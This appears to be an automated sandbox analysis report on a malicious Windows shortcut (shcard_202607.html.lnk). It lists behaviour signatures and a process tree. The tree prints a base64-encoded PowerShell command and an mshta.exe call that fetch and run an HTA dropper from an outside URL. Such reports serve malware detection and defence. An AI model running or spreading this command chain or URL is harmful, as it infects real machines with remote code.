Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/07/2026, 06:26

General

  • Target
    shcard_202607.html.lnk
  • Size 1KB
  • Sample260730-g66fxsdb46
  • SHA256 b1e9279260fc89620daeb41f8fc2eb45985da2dba0569dea16e0299ed26ca32b
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://link24.kr/2qawbv3

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\shcard_202607.html.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4128
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JgAgACAAIAAgACAAIAAgACAAIABtAHMAYABoAHQAYQAgACAAIAAgACIAaAB0AHQAcABzADoALwAvAGwAaQBuAGsAMgA0AC4AawByAC8AMgBxAGEAdwBiAHYAMwAiAA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:248
      • C:\Windows\system32\mshta.exe
        "C:\Windows\system32\mshta.exe" https://link24.kr/2qawbv3
        3⤵
        • Badlisted process makes network request
        PID:5460

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/248-2-0x00007FFF84B0F000-0x00007FFF84B10000-memory.dmp

        memory/248-5-0x0000025A73320000-0x0000025A73342000-memory.dmp

        memory/248-6-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

        memory/248-7-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

        memory/248-8-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

        memory/248-9-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

        memory/248-11-0x0000025A734F0000-0x0000025A7361F000-memory.dmp

        memory/248-12-0x00007FFF84980000-0x00007FFF85324000-memory.dmp

        memory/248-14-0x00007FFF84980000-0x00007FFF85324000-memory.dmp